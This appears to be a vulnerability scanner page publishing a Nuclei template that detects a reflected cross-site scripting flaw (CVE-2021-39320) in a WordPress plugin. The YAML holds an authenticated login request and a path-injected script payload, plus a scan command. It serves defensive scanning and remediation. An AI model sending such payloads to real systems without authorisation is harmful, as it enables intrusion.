WordPress Under Construction <1.19 - Cross-Site Scripting

ID: CVE-2021-39320

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wp-plugin,wpscan,wordpress,wp,xss,authenticated,underconstruction_project

Description

WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of $GLOBALS['PHP_SELF'] in the ucOptions.php file on certain configurations, including Apache+modPHP.

YAML Source

id: CVE-2021-39320

info:
  name: WordPress Under Construction <1.19 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
  impact: |
    The vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39320
    cwe-id: CWE-79
    epss-score: 0.00228
    epss-percentile: 0.60903
    cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: underconstruction_project
    product: underconstruction
    framework: wordpress
  tags: cve2021,cve,wp-plugin,wpscan,wordpress,wp,xss,authenticated,underconstruction_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
          - 'under-construction'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210088b61cb73c0df28251edd71a57865358688a74636730b320fa839ba3b5f87724022100e644276f30b668eef4da2bcabb70ac57beda14b4b5bf73b167a6b466109b48eb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39320.yaml"

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